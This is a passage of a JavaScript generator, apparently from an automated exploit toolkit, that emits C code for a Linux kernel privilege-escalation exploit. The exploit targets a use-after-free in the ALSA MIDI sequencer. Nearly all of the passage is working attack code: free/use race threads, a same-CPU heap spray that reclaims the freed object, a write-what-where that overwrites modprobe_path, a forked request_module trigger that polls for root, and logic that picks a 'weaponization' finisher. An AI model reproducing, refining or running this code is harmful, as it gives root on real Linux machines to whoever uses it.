SYSEX event is", " never parsed (the live-boot 'reaches write1 0 times' symptom). The data union", " is 16 bytes because its largest member, snd_seq_ev_ext { u32 len; void *ptr; },", " is 16 bytes on x86-64 under NATURAL alignment: len(4) + 4 pad + 8-aligned", " ptr(8). It must NOT be packed \u2014 packing it to 12 would shrink the event to 28", " and re-break the ABI. */", "struct snd_seq_ev_ext { unsigned int len; void *ptr; }; /* 16 bytes: len(4)+pad(4)+ptr(8), NATURAL alignment (not packed) */", "union snd_seq_event_data { /* 16-byte data union (largest = ext) */", " unsigned char raw8[16];", " unsigned int raw32[4];", " struct snd_seq_ev_ext ext; /* variable-length: len + ptr (16 bytes) */", "};", "struct snd_seq_event { /* 32 bytes \u2014 real uapi layout */", " unsigned char type; /* 0: SNDRV_SEQ_EVENT_* */", " unsigned char flags; /* 1: LENGTH_* | etc. */", " unsigned char tag; /* 2 */", " unsigned char queue; /* 3: SNDRV_SEQ_QUEUE_DIRECT etc. */", " unsigned int time; /* 4: union snd_seq_timestamp tick/real (8) */", " unsigned int time_hi; /* 8: second word of the time union */", " struct snd_seq_addr source; /* 12: 2 bytes */", " struct snd_seq_addr dest; /* 14: 2 bytes */", " union snd_seq_event_data data; /* 16: 16-byte data union -> ends at 32 */", "};", "_Static_assert(sizeof(struct snd_seq_event) == 32,", ' "snd_seq_event must be 32 bytes for snd_seq_write event striding");', "", "/* Event types + flags + addressing (asequencer.h). SYSEX is the verbatim-copy", " path; SUBSCRIBERS+DIRECT route the event to our port's subscribers (the", " subscribed hardware port) so it reaches snd_rawmidi_kernel_write1. */", "#define SNDRV_SEQ_EVENT_SYSEX 130 /* variable-length system-exclusive */", "#define SNDRV_SEQ_EVENT_LENGTH_VARIABLE (1<<2) /* data is ext.len bytes, inline */", "#define SNDRV_SEQ_PRIORITY_NORMAL (0<<4) /* manual proof ORs this into flags */", "#define SNDRV_SEQ_ADDRESS_SUBSCRIBERS 254 /* dest.client: deliver to subscribers */", "#define SNDRV_SEQ_QUEUE_DIRECT 253 /* ev.queue: bypass queue, deliver now */", "", "/* Shared race state across the CONTINUOUS flood / toggle / spray threads.", " The manual proof (measured ~0.45% free-during-park x ~1% reclaim-win =>", " ~1.6% end-to-end, ~1-in-6..8 boots) wins the coincidence ONLY because all", " three roles run as tight while(running) loops simultaneously \u2014 NOT a bursty", " 512-iteration flood + one toggle per round. So: continuous SYSEX-flood", " thread(s) keep snd_rawmidi_kernel_write1 hot (and parked by the kprobe", " mdelay); a continuous subscribe(1)/unsubscribe(0) toggle thread re-arms the", " free every iteration; and continuous msgsnd-2ndseg spray thread(s) pinned to", " the SAME CPU as the free pop the just-freed kmalloc-192 slot off that CPU's", " freelist before the parked writer derefs it. There is NO per-round arming", " handshake anymore \u2014 the loops run free and the coincidence lands", " probabilistically, exactly as the manual proof does. */", "static int g_seq_fd = -1;", "static int g_toggle_fd = -1; /* BUG#2 FIX: dedicated fd for subscribe/unsubscribe (manual proof uses a 2nd open) */", "static int g_rawmidi_fd = -1;", "static struct snd_seq_addr g_self;", "static struct snd_seq_addr g_hw; /* discovered hardware MIDI synth port */", "static int g_have_hw = 0; /* set iff osec_seq_find_hw_port() won */", "static volatile int g_race_run = 0; /* 1 while the threads loop; 0 to stop */", "/* g_n_write_ok / g_n_spray are declared in the marker preamble (always present)", " so the spray helper can increment them on every path. n_write_ok counts SYSEX", " events that actually reached the kernel write path \u2014 the load-bearing", " diagnostic: 0 means the flood never drove event_process_midi -> dump_midi ->", " snd_rawmidi_kernel_write1, so the freed runtime was never written through (no", " KASAN UAF, no arb-write) regardless of everything downstream. */", "/* CPU topology. Manual default: the free + reclaim spray share one CPU (so", " the freed slot is reclaimed from that CPU's per-CPU freelist); the flood", " runs on another CPU. 0SEC_RACE_SAME_CPU=1 collapses everything onto the", " free CPU. g_cpu_free is declared in the preamble (osec_reclaim_spray()", " pins to it too, so free + spray stay genuinely co-resident); the driver", " sets both from the resolved topology before spawning. g_cpu_flood is", " ALSA-specific (the flood thread is). */", `int g_cpu_flood = ${(params.pinCpu ?? 0) + 1}; /* flood/USE CPU (different by default) */`, "", "/* Discover the HARDWARE MIDI synth port to subscribe to. Self-subscription", " frees nothing; the real free path needs a subscription onto the card's", " synth port so unsubscribe drives midisynth_unuse -> snd_rawmidi_kernel_release", " -> snd_rawmidi_runtime_free. Walk every client (>1, skip System=0/1) and", " every port, taking the first that is STRICTLY a hardware-card port. The", " filter MUST be strict: a live in-guest probe showed the loose '(HARDWARE ||", " MIDI_GENERIC)' test matched the software 'Midi Through' loopback (14:0,", " type=0xa0002, no HARDWARE bit) BEFORE the real MTPAV card (16:0,", " type=0x90002, HARDWARE bit set) \u2014 and the loopback port has NO backing", " snd_rawmidi_runtime, so its teardown frees nothing and no UAF fires. Require", " the strict SNDRV_SEQ_PORT_TYPE_HARDWARE bit AND both CAP_WRITE and", " CAP_SUBS_WRITE (mirroring the manual proof) so we target the real card whose", " port has a runtime. Returns 0 on success, sets g_hw/g_have_hw. */", "static int osec_seq_find_hw_port(void) {", " struct snd_seq_client_info ci; memset(&ci, 0, sizeof(ci));", " ci.client = -1; /* QUERY_NEXT_CLIENT returns the first client > ci.client */", " while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT, &ci) >= 0) {", " if (ci.client <= 1) continue; /* skip System (0) and the timer (1) */", " struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", " pi.addr.client = (unsigned char)ci.client;", " pi.addr.port = (unsigned char)-1; /* first port > -1 on this client */", " while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT, &pi) >= 0) {", " /* STRICT: the real hardware-card synth bit only \u2014 NOT MIDI_GENERIC,", " which the software loopback also sets (and which has no runtime). */", " int is_hw = (pi.type & SNDRV_SEQ_PORT_TYPE_HARDWARE) != 0;", " /* Mirror the manual proof: the port must accept a write subscription", " (CAP_SUBS_WRITE) AND be writable (CAP_WRITE). */", " int writable = (pi.capability & SNDRV_SEQ_PORT_CAP_WRITE) &&", " (pi.capability & SNDRV_SEQ_PORT_CAP_SUBS_WRITE);", " if (is_hw && writable) {", " g_hw = pi.addr; g_have_hw = 1;", " return 0;", " }", " }", " }", " return -1; /* HONEST GAP: no hardware synth port found on this guest */", "}", "", "/* Build the topology whose teardown frees the runtime: our own port plus a", " discovered hardware synth port to subscribe TO. */", "static int osec_seq_setup(void) {", ' g_seq_fd = open("/dev/snd/seq", O_RDWR);', " if (g_seq_fd < 0) return -1;", " /* Query our OWN client id. snd_seq_ioctl_create_port rejects (EPERM) any", " port whose addr.client != the calling client, so this MUST be set on pi", " before CREATE_PORT \u2014 an in-guest A/B test proved the unset (0) addr.client", " was the EPERM cause; setting it to cid makes CREATE_PORT return rc=0. */", " int cid = 0;", " if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CLIENT_ID, &cid) < 0) return -1;", " struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", " pi.addr.client = (unsigned char)cid; /* THE EPERM FIX: was unset (0) */", " pi.capability = SNDRV_SEQ_PORT_CAP_READ | SNDRV_SEQ_PORT_CAP_SUBS_READ", " | SNDRV_SEQ_PORT_CAP_WRITE | SNDRV_SEQ_PORT_CAP_SUBS_WRITE;", " pi.type = SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC | SNDRV_SEQ_PORT_TYPE_APPLICATION;", " pi.midi_channels = 16;", " if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CREATE_PORT, &pi) < 0) return -1;", " g_self.client = (unsigned char)cid; g_self.port = pi.addr.port;", " /* Find the card's hardware MIDI synth port \u2014 the subscription onto THIS", " port (not self) is what frees the snd_rawmidi_runtime on teardown. */", " if (osec_seq_find_hw_port() != 0) return -1;", " /* BUG#2 FIX: dedicated toggle fd (separate from the flood writer fd) so the", " unsubscribe actually drives midisynth_unuse -> snd_rawmidi_runtime_free.", " The manual proof opens a 2nd /dev/snd/seq for the toggle for exactly this:", " running subscribe/unsubscribe on the SAME fd as the SYSEX flood writer did", " not free the runtime the flood writes through (freed=0, no KASAN UAF). */", ' g_toggle_fd = open("/dev/snd/seq", O_RDWR);', " if (g_toggle_fd < 0) return -1;", " /* DO NOT open /dev/snd/midiC0D0 here. An in-guest A/B/C/D probe proved that", " holding the rawmidi OUTPUT substream open makes the seq SUBSCRIBE return", " EAGAIN (snd_rawmidi_kernel_open sees the substream already in use), so the", " subscription never opens the runtime => no alloc/free => no UAF. The manual", " proof never opens midiC0D0: the SUBSCRIBE itself opens the rawmidi", " internally (that IS the alloc the UAF rides), and the USE is driven by", " writing seq SYSEX events through g_seq_fd (event_process_midi ->", " snd_rawmidi_kernel_write1). g_rawmidi_fd stays -1 here. */", " return 0;", "}", "", "/* SUBSCRIBE then UNSUBSCRIBE on my_port -> discovered_hw_port: the unsubscribe", " drops the hw synth's subscriber count to 0 and frees the snd_rawmidi_runtime.", " sender (us) != dest (the hardware port) \u2014 self-subscription frees nothing.", " Looped to re-arm the race each round. */", "static int osec_seq_sub(int subscribe) {", " struct snd_seq_port_subscribe s; memset(&s, 0, sizeof(s));", " s.sender = g_self; s.dest = g_hw;", " /* BUG#2 FIX: toggle on g_toggle_fd (a dedicated 2nd /dev/snd/seq), NOT the", " g_seq_fd the flood writes through \u2014 only then does the unsubscribe free the", " runtime the flood uses (restores the KASAN slab-UAF, freed 0 -> >=1). */", " return ioctl(g_toggle_fd, subscribe ? SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT", " : SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT, &s);", "}", "", "/* CONTINUOUS TOGGLE/FREE thread: a tight while(running) loop doing", " subscribe(1)/unsubscribe(0) on the hw port. Single subscription => the", " count oscillates 0<->1 and EVERY unsubscribe frees the snd_rawmidi_runtime.", " This runs CONTINUOUSLY, re-arming the free each iteration (NOT one toggle", " per round) \u2014 that is what gives the parked writer a freshly-freed object to", " land on at the manual-proof rate. Pinned to g_cpu_free so the freed slot", " goes onto the SAME per-CPU freelist the reclaim spray pops from. */", "static void *osec_toggle_thread(void *arg) {", " osec_pin_cpu(g_cpu_free);", " while (g_race_run) {", " osec_seq_sub(1); /* subscriber 0->1 (allocates runtime) */", " osec_seq_sub(0); /* subscriber 1->0 => FREE the runtime */", " }", " return NULL;", "}", "", "/* CONTINUOUS RECLAIM spray thread: pinned to g_cpu_free (the SAME CPU as the", " toggle/free) so the freed kmalloc-192 slot is reclaimed off that CPU's", " freelist before the parked writer derefs it. osec_reclaim_spray() places", " the controlled bytes (buffer@0x10 = inlined modprobe_path, len, scratch) and", " re-pins to g_cpu_free itself; we run it in a tight loop. The manual proof", " used ~10 of these threads; 0SEC_RACE_SPRAY_THREADS sets the count. */", "static void *osec_spray_thread(void *arg) {", " osec_pin_cpu(g_cpu_free);", " while (g_race_run) {", " osec_reclaim_spray(); /* same-CPU reclaim of the just-freed slot */", " }", " return NULL;", "}", "", "/* WRITE/flood thread: write SEQ SYSEX events through g_seq_fd, addressed from", " our own port (g_self) to the SUBSCRIBERS of our port (the subscribed hardware", " synth) via DIRECT delivery. The kernel routes them snd_seq_write ->", " snd_seq_deliver_event -> event_process_midi -> dump_midi ->", " snd_rawmidi_kernel_write1, so a write lands on the just-freed (or just-", " reclaimed) runtime. SYSEX + LENGTH_VARIABLE is the verbatim-copy path: the", " payload bytes (F0 .. F7) are copied straight into runtime->buffer.", "", " INLINE PAYLOAD CONTRACT (this is what makes the flood reach write1): for a", " variable-length event written from userspace, snd_seq_write IGNORES", " ev.data.ext.ptr and instead reads ev.data.ext.len payload bytes from the fd", " IMMEDIATELY AFTER the 32-byte event. So we build one contiguous buffer", " [32-byte snd_seq_event][SYSEX payload] and write it in a single call:", " write(g_seq_fd, buf, sizeof(struct snd_seq_event) + payload_len). The old", " approach (ext.ptr = payload + write(&ev, sizeof(ev))) never delivered the", " payload \u2014 userspace write doesn't dereference ext.ptr \u2014 so write1 was hit 0", " times. dest.client = SUBSCRIBERS(254) + dest.port = g_self.port delivers to", " the subscribers of OUR port (i.e. the hw synth we subscribed), and queue =", " DIRECT(253) bypasses queueing so the event is dispatched inline now.", "", " We DO NOT write to a rawmidi fd directly \u2014 driving the USE through the SEQ", " event path is exactly what the manual proof does, and it leaves the rawmidi", " output substream free for the SUBSCRIBE to open (no EAGAIN). */", "/* TWO distinct flood payloads, mirroring the manual proof (seqmidi_uaf5/6.c).", " The flood thread uses EXACTLY ONE of them per boot depending on whether an", " escalation target was staged (see osec_flood_thread for the why):", "", " (1) ESCALATION payload \u2014 the short root-tail path string (e.g. /tmp/x\\0),", " staged by the driver from the root-tail plan. THIS is the write-what-", " where that overwrites modprobe_path; it is delivered VERBATIM (no F0/F7", " wrapper) so the exact path bytes land at the target. When staged", " (g_esc_len > 0) the flood sends ONLY this every iteration \u2014 the manual", " root proof's pure-ESC behaviour (g_escalate=1, ESC_LEN=7). Bench-measured:", " a 7-byte ESC flood trips KASAN ~62x/boot AND, being tiny, keeps the writer", " out of the fatal __dump_midi NULL-runtime window ~15x longer than the old", " 2048B-recon-dominant flood (~4 UAFs before GPF). So the short payload", " lands the UAF JUST FINE and survives \u2014 the large recon flood was both", " unnecessary and the cause of the ~2.5s GPF.", "", " (2) RECON payload \u2014 a LARGE SYSEX (the manual proof's SYSEX_LEN=2048 class).", " Used ONLY as a fallback when NO escalation target is staged (recon-only /", " no-vmlinux case), so the UAF still fires for diagnostics even with no", " write-what-where to deliver.", "", " 0SEC_RECON_SYSEX_LEN sizes the recon payload (default 2048, manual class).", " g_buf is sized to the recon payload (the larger of the two), so the short", " escalation memcpy can NEVER overflow it (fixes the -Wstringop-overflow the", " climb hit: 'memcpy writing 7 bytes into a region of size 0'). */", "#define OSEC_RECON_SYSEX_LEN_DEFAULT 2048", "static unsigned char g_recon_payload[OSEC_RECON_SYSEX_LEN_DEFAULT];", "static unsigned long g_recon_len = 0;", "static unsigned char g_esc_payload[256]; /* short root-tail path bytes, verbatim */", "static unsigned long g_esc_len = 0; /* 0 until the driver stages the tail */", "/* CONTINUOUS FLOOD thread: a tight while(running) loop that CONTINUOUSLY", " writes the SYSEX seq events driving snd_rawmidi_kernel_write1.", "", " FLOOD-SURVIVAL FIX (bench-measured, 2026-06-26). The free->use window where", " __dump_midi reads substream->runtime is fatal in two sub-windows: the", " dangling-but-non-NULL window (a RECOVERABLE KASAN use-after-free read, which", " kasan_multi_shot tolerates) and the post-free NULL window (a HARD", " __dump_midi+0x57 GPF: `mov 0x70(%rbp),%rbx; lea 0x38(%rbx)` with rbx==NULL", " faults on the non-canonical KASAN shadow and KILLS the exploit process). A", " single boot cannot avoid the NULL window entirely; SURVIVAL is a function of", " how MANY recoverable UAF reads the flood lands before it drifts into the", " fatal one. The manual proof (seqmidi_uaf6 flood_sysex) sustains ~62 UAFs", " over ~12s before the GPF; the OLD engine body \u2014 which flooded the LARGE 2048B", " recon SYSEX on 7 of every 8 writes \u2014 drifted into the NULL window after only", " ~4 UAFs / ~2.5s, because each 2080B write spends far longer in the kernel", " write path (so the writer is exposed to the NULL window far more per write,", " AND does a 2048B verbatim memcpy into the freed/reclaimed runtime->buffer", " that itself amplifies fatal landings). The manual's escalation-mode flood is", " PURE SHORT payload (ESC_LEN==7) and still trips KASAN ~62x \u2014 the large recon", " flood is NEITHER needed to fire the UAF NOR survivable.", "", " So: when an escalation payload is staged (g_esc_len > 0) flood ONLY the short", " ESC payload every iteration (the modprobe_path write-what-where, exactly the", " manual root proof's g_escalate=1 behaviour) \u2014 small writes => high iteration", " rate => many recoverable UAF reads before the fatal window, AND every write", " is the escalation write so a won reclaim lands /tmp/x. Only when NO esc", " payload is staged (recon-only / no-target case) fall back to the large recon", " SYSEX so the UAF still fires for diagnostics. The kprobe mdelay (when the", " target has it) still parks the writer in the dangling window. Pinned to", " g_cpu_flood (a different CPU from free+spray under the manual topology; same", " CPU if 0SEC_RACE_SAME_CPU=1). */", "static void *osec_flood_thread(void *arg) {", " osec_pin_cpu(g_cpu_flood);", " /* One contiguous buffer: the 32-byte event header followed by the inline", " SYSEX payload the write site copies verbatim into runtime->buffer. Sized to", " the recon payload (the larger of recon/esc) so neither memcpy overflows. */", " unsigned char buf[sizeof(struct snd_seq_event) + sizeof(g_recon_payload)];", " struct snd_seq_event *ev = (struct snd_seq_event *)buf;", " /* The event header is INVARIANT across iterations (only the payload + len", " change), so build it ONCE outside the hot loop \u2014 the manual flood rebuilds", " it each call, but hoisting it shaves per-write work and keeps the writer's", " kernel-path residency (its exposure to the fatal NULL window) minimal. */", " memset(ev, 0, sizeof(*ev));", " ev->type = SNDRV_SEQ_EVENT_SYSEX; /* 130: variable-length sysex */", " /* LENGTH_VARIABLE selects the verbatim-copy path; PRIORITY_NORMAL mirrors", " the manual proof's ev.flags (it ORs SNDRV_SEQ_PRIORITY_NORMAL too). */", " ev->flags = SNDRV_SEQ_EVENT_LENGTH_VARIABLE | SNDRV_SEQ_PRIORITY_NORMAL;", " ev->queue = SNDRV_SEQ_QUEUE_DIRECT; /* 253: deliver now, no queue */", " ev->source = g_self; /* from our own application port */", " ev->dest.client = SNDRV_SEQ_ADDRESS_SUBSCRIBERS; /* 254: to our subscribers */", " ev->dest.port = g_self.port; /* subscribers of OUR port = subscribed hw */", " while (g_race_run) {", " /* SURVIVAL: escalating => flood the SHORT esc payload EVERY iteration (the", " manual's pure-ESC flood, ~62 UAFs/boot). Only with no esc target staged", " fall back to the large recon SYSEX so the UAF still fires for diagnostics.", " Both are bounded by sizeof(g_recon_payload) so buf cannot overflow. */", " int do_esc = (g_esc_len > 0);", " const unsigned char *src = do_esc ? g_esc_payload : g_recon_payload;", " unsigned long plen = do_esc", " ? g_esc_len", " : (g_recon_len ? g_recon_len : sizeof(g_recon_payload));", " if (plen > sizeof(g_recon_payload)) plen = sizeof(g_recon_payload);", " ev->data.ext.len = (unsigned int)plen; /* ext.ptr unused by userspace write */", " /* Copy the SYSEX payload INLINE right after the 32-byte event header. */", " memcpy(buf + sizeof(*ev), src, plen);", " /* snd_seq_write reads the 32-byte event, then plen payload bytes inline,", " and dump_midi feeds them verbatim to snd_rawmidi_kernel_write1. Count", " only events the kernel actually accepted (n_write_ok) \u2014 the diagnostic", " that distinguishes 'race mis-timed, write1 never reached' from a real", " free->use landing. */", " if (g_seq_fd >= 0 && write(g_seq_fd, buf, sizeof(*ev) + plen) > 0)", " __sync_fetch_and_add(&g_n_write_ok, 1);", " }", " return NULL;", "}", "", ...emitKprobeWidener(params.faultingPc, params.widenOffset));
|
|
559
|
+
return out;
|
|
560
|
+
}
|
|
561
|
+
function slabNum(hint) {
|
|
562
|
+
const m = (hint ?? "").match(/kmalloc-(?:cg-)?(\d+)/);
|
|
563
|
+
return m ? parseInt(m[1], 10) : void 0;
|
|
564
|
+
}
|
|
565
|
+
function cByteStage(bufVar, lenVar, bytes) {
|
|
566
|
+
const out = [];
|
|
567
|
+
for (let i = 0; i < bytes.length; i++) {
|
|
568
|
+
const code = bytes.charCodeAt(i) & 255;
|
|
569
|
+
out.push(` ${bufVar}[${i}] = 0x${code.toString(16).padStart(2, "0")};`);
|
|
570
|
+
}
|
|
571
|
+
out.push(` ${lenVar} = ${bytes.length};`);
|
|
572
|
+
return out;
|
|
573
|
+
}
|
|
574
|
+
function emitTriggerDriver(params) {
|
|
575
|
+
const floodDefault = DEFAULT_RACE_FLOOD_THREADS;
|
|
576
|
+
const sprayDefault = DEFAULT_RACE_SPRAY_THREADS;
|
|
577
|
+
const secsDefault = DEFAULT_RACE_SECONDS;
|
|
578
|
+
return [
|
|
579
|
+
" /* Drive the real free/race for this UAF object using the manual proof's",
|
|
580
|
+
" CONTINUOUS-thread model. All key timings are env-tunable so the rig can",
|
|
581
|
+
" sweep the coincidence rate WITHOUT re-emitting:",
|
|
582
|
+
` 0SEC_RACE_FLOOD_THREADS (default ${floodDefault}) \u2014 continuous SYSEX flood threads`,
|
|
583
|
+
` 0SEC_RACE_SPRAY_THREADS (default ${sprayDefault}) \u2014 continuous same-CPU reclaim spray threads`,
|
|
584
|
+
" 0SEC_RACE_PARK_US (read by the widener) \u2014 kprobe mdelay park width",
|
|
585
|
+
` 0SEC_RACE_SECONDS (default ${secsDefault}) \u2014 wall-clock budget per boot`,
|
|
586
|
+
" 0SEC_RACE_SAME_CPU (default 0) \u2014 1 pins the flood onto the free/spray CPU too */",
|
|
587
|
+
" if (osec_seq_setup() == 0) {",
|
|
588
|
+
" /* Stage the LARGE recon SYSEX payload (F0 .. 7-bit data .. F7), the manual",
|
|
589
|
+
" proof's SYSEX_LEN=2048 class. This is the FALLBACK flood payload used only",
|
|
590
|
+
" when no escalation target is staged (recon-only case): a large verbatim",
|
|
591
|
+
" memcpy into runtime->buffer trips KASAN slab-use-after-free for diagnostics.",
|
|
592
|
+
" When an escalation payload IS staged the flood floods the SHORT esc payload",
|
|
593
|
+
" instead (bench-measured to trip the UAF ~62x/boot AND survive ~15x longer",
|
|
594
|
+
" than recon \u2014 see osec_flood_thread). The length is env-tunable so the rig",
|
|
595
|
+
" can sweep it without re-emitting. */",
|
|
596
|
+
" unsigned long recon_len = (unsigned long)osec_race_envint(",
|
|
597
|
+
' "0SEC_RECON_SYSEX_LEN", OSEC_RECON_SYSEX_LEN_DEFAULT);',
|
|
598
|
+
" if (recon_len < 8) recon_len = 8;",
|
|
599
|
+
" if (recon_len > sizeof(g_recon_payload)) recon_len = sizeof(g_recon_payload);",
|
|
600
|
+
" g_recon_payload[0] = 0xF0;",
|
|
601
|
+
" for (unsigned long i = 1; i + 1 < recon_len; i++) g_recon_payload[i] = (unsigned char)(i & 0x7f);",
|
|
602
|
+
" g_recon_payload[recon_len - 1] = 0xF7;",
|
|
603
|
+
" g_recon_len = recon_len;",
|
|
604
|
+
...params.rootTailPath !== void 0 ? [
|
|
605
|
+
" /* Stage the SHORT escalation payload (the root-tail path string), copied",
|
|
606
|
+
" VERBATIM (no F0/F7 wrapper) so the exact bytes land at modprobe_path.",
|
|
607
|
+
" Once staged (g_esc_len > 0) the flood thread sends ONLY this payload",
|
|
608
|
+
" every iteration (the manual root proof's pure-ESC flood) \u2014 high write",
|
|
609
|
+
" rate => many recoverable UAF reads before the fatal NULL-runtime window,",
|
|
610
|
+
" and every write is the modprobe_path write-what-where. */",
|
|
611
|
+
...cByteStage("g_esc_payload", "g_esc_len", params.rootTailPath)
|
|
612
|
+
] : [
|
|
613
|
+
" /* No root-tail path supplied \u2014 only the recon flood runs (UAF fires, no",
|
|
614
|
+
" escalation write delivered). Honest: g_esc_len stays 0. */"
|
|
615
|
+
],
|
|
616
|
+
" /* Resolve the race knobs (env wins, else sane manual-proof defaults). */",
|
|
617
|
+
` int n_flood = osec_race_envint("0SEC_RACE_FLOOD_THREADS", ${floodDefault});`,
|
|
618
|
+
` int n_spray = osec_race_envint("0SEC_RACE_SPRAY_THREADS", ${sprayDefault});`,
|
|
619
|
+
` int run_secs = osec_race_envint("0SEC_RACE_SECONDS", ${secsDefault});`,
|
|
620
|
+
' int same_cpu = osec_race_envint("0SEC_RACE_SAME_CPU", 0);',
|
|
621
|
+
" if (n_flood < 1) n_flood = 1;",
|
|
622
|
+
" if (n_spray < 1) n_spray = 1;",
|
|
623
|
+
" if (run_secs < 1) run_secs = 1;",
|
|
624
|
+
" /* CPU topology: manual default puts free + spray on g_cpu_free and the",
|
|
625
|
+
" flood on a different CPU; SAME_CPU=1 collapses the flood onto g_cpu_free.",
|
|
626
|
+
" Clamp g_cpu_flood to a real online CPU so sched_setaffinity does not no-op. */",
|
|
627
|
+
" if (same_cpu) g_cpu_flood = g_cpu_free;",
|
|
628
|
+
" long ncpu = sysconf(_SC_NPROCESSORS_ONLN);",
|
|
629
|
+
" if (ncpu > 0 && g_cpu_flood >= ncpu) g_cpu_flood = same_cpu ? g_cpu_free : 0;",
|
|
630
|
+
" (void)osec_install_kprobe_widener(); /* best-effort, fail-soft (reads 0SEC_RACE_PARK_US) */",
|
|
631
|
+
" /* BUG#1 FIX: arm the race BEFORE forking the dropped-uid trigger. The child",
|
|
632
|
+
" inherits g_race_run at fork() time, so if it were still 0 the child's",
|
|
633
|
+
" while (g_race_run) request_module loop would never run (it would print",
|
|
634
|
+
" DROP and return immediately, rm_hits=0). Set it to 1 here, before the",
|
|
635
|
+
" fork, so the child sees 1 and fires request_module throughout the race. */",
|
|
636
|
+
" g_race_run = 1;",
|
|
637
|
+
...params.forkTrigger ? [
|
|
638
|
+
" /* fix #4/#5: drop /tmp/x and FORK the dropped-uid request_module trigger",
|
|
639
|
+
" BEFORE the race so it fires CONTINUOUSLY (concurrent with the race) and",
|
|
640
|
+
" catches the async modprobe_path win via its /tmp/pwned poll. The child's",
|
|
641
|
+
" setuid cannot taint the racing threads (separate process). Honest gate:",
|
|
642
|
+
" only fork when the write target was resolved \u2014 if (g_target_addr == 0)",
|
|
643
|
+
" the write cannot be aimed at modprobe_path, so firing the trigger would",
|
|
644
|
+
" prove nothing (and the spray stamped a 0 buffer). */",
|
|
645
|
+
" pid_t osec_trig_pid = -1;",
|
|
646
|
+
" if (g_target_addr == 0) {",
|
|
647
|
+
" /* HONEST GAP: no resolved/leaked target address \u2014 do NOT drop the",
|
|
648
|
+
" payload or fork the trigger; the chain stops short of root. */",
|
|
649
|
+
" } else if (osec_drop_payload() == 0) {",
|
|
650
|
+
" osec_trig_pid = fork();",
|
|
651
|
+
" if (osec_trig_pid == 0) { osec_trigger_worker(); _exit(0); }",
|
|
652
|
+
" }"
|
|
653
|
+
] : [],
|
|
654
|
+
" /* Spawn the continuous threads: n_flood floods + 1 toggle/free + n_spray sprays.",
|
|
655
|
+
" The single toggle thread keeps ONE subscription oscillating 0<->1 so every",
|
|
656
|
+
" unsubscribe frees; multiple flood + spray threads drive the USE and the",
|
|
657
|
+
" same-CPU reclaim hard enough to hit the manual coincidence rate. */",
|
|
658
|
+
" /* g_race_run already set to 1 above (before the trigger fork) \u2014 BUG#1 FIX. */",
|
|
659
|
+
" pthread_t toggle;",
|
|
660
|
+
" pthread_t floods[64], sprays[64];",
|
|
661
|
+
" if (n_flood > 64) n_flood = 64;",
|
|
662
|
+
" if (n_spray > 64) n_spray = 64;",
|
|
663
|
+
" pthread_create(&toggle, NULL, osec_toggle_thread, NULL);",
|
|
664
|
+
" for (int i = 0; i < n_flood; i++)",
|
|
665
|
+
" pthread_create(&floods[i], NULL, osec_flood_thread, NULL);",
|
|
666
|
+
" for (int i = 0; i < n_spray; i++)",
|
|
667
|
+
" pthread_create(&sprays[i], NULL, osec_spray_thread, NULL);",
|
|
668
|
+
" /* Let the continuous race run for the wall-clock budget, then stop. A won",
|
|
669
|
+
" race fires the DROP->ROOT markers from the escalation tail asynchronously;",
|
|
670
|
+
" the oracle keys only on those witnessed markers, never on elapsed time. */",
|
|
671
|
+
" sleep((unsigned int)run_secs);",
|
|
672
|
+
" g_race_run = 0;",
|
|
673
|
+
" pthread_join(toggle, NULL);",
|
|
674
|
+
" for (int i = 0; i < n_flood; i++) pthread_join(floods[i], NULL);",
|
|
675
|
+
" for (int i = 0; i < n_spray; i++) pthread_join(sprays[i], NULL);",
|
|
676
|
+
...params.forkTrigger ? [
|
|
677
|
+
" /* Reap the forked trigger. g_race_run=0 (above) tells it to stop; it may",
|
|
678
|
+
" have already exited after printing the ROOT marker on a /tmp/pwned win. */",
|
|
679
|
+
" if (osec_trig_pid > 0) { kill(osec_trig_pid, SIGTERM); waitpid(osec_trig_pid, NULL, 0); }"
|
|
680
|
+
] : [],
|
|
681
|
+
" /* Telemetry (manual proof's 'done sub=.. write=.. spray=..' line). write=0",
|
|
682
|
+
" is the definitive 'the flood never reached the kernel write path' signal \u2014",
|
|
683
|
+
" the race was mis-co-timed and no UAF could have fired. Printed to stderr",
|
|
684
|
+
" so it never pollutes the canary-marker stream the oracle parses. */",
|
|
685
|
+
' fprintf(stderr, "[*] race done: write_ok=%lu spray=%lu\\n",',
|
|
686
|
+
" g_n_write_ok, g_n_spray);",
|
|
687
|
+
" } else {",
|
|
688
|
+
" /* HONEST GAP: setup failed \u2014 /dev/snd/seq unavailable (no sound stack)",
|
|
689
|
+
" OR no HARDWARE MIDI synth port with SUBS_WRITE was discovered. With no",
|
|
690
|
+
" hardware port to subscribe to, the real free cannot be driven (a self-",
|
|
691
|
+
" subscription frees nothing), so NO RECLAIM/ROOT marker fires. No free",
|
|
692
|
+
" is attempted and no fake marker is printed. */",
|
|
693
|
+
" }"
|
|
694
|
+
];
|
|
695
|
+
}
|
|
696
|
+
|
|
697
|
+
// packages/core/dist/kernel/exploit/weaponization-completeness.js
|
|
698
|
+
function selectFinisher(tail, family, writeAimable) {
|
|
699
|
+
if (family === "timer-list-uaf")
|
|
700
|
+
return "fake-cred-oneshot";
|
|
701
|
+
if (!tail)
|
|
702
|
+
return "none";
|
|
703
|
+
if (!writeAimable)
|
|
704
|
+
return "none";
|
|
705
|
+
switch (tail) {
|
|
706
|
+
case "modprobe_path":
|
|
707
|
+
case "workqueue-www":
|
|
708
|
+
return "modprobe-request-module";
|
|
709
|
+
case "core_pattern":
|
|
710
|
+
return "core-pattern-crash";
|
|
711
|
+
// `fake-cred` without the timer-UAF driver, and `cred` with no cred pointer,
|
|
712
|
+
// have no emittable body.
|
|
713
|
+
case "fake-cred":
|
|
714
|
+
case "cred":
|
|
715
|
+
return "none";
|
|
716
|
+
}
|
|
717
|
+
}
|
|
718
|
+
function assessWeaponization(input) {
|
|
719
|
+
const { rootTailPlan: tail, family, writeAimable, climbsToRoot } = input;
|
|
720
|
+
const finisher = selectFinisher(tail?.tail, family, writeAimable);
|
|
721
|
+
if (!climbsToRoot)
|
|
722
|
+
return { finisher, complete: true, gaps: [] };
|
|
723
|
+
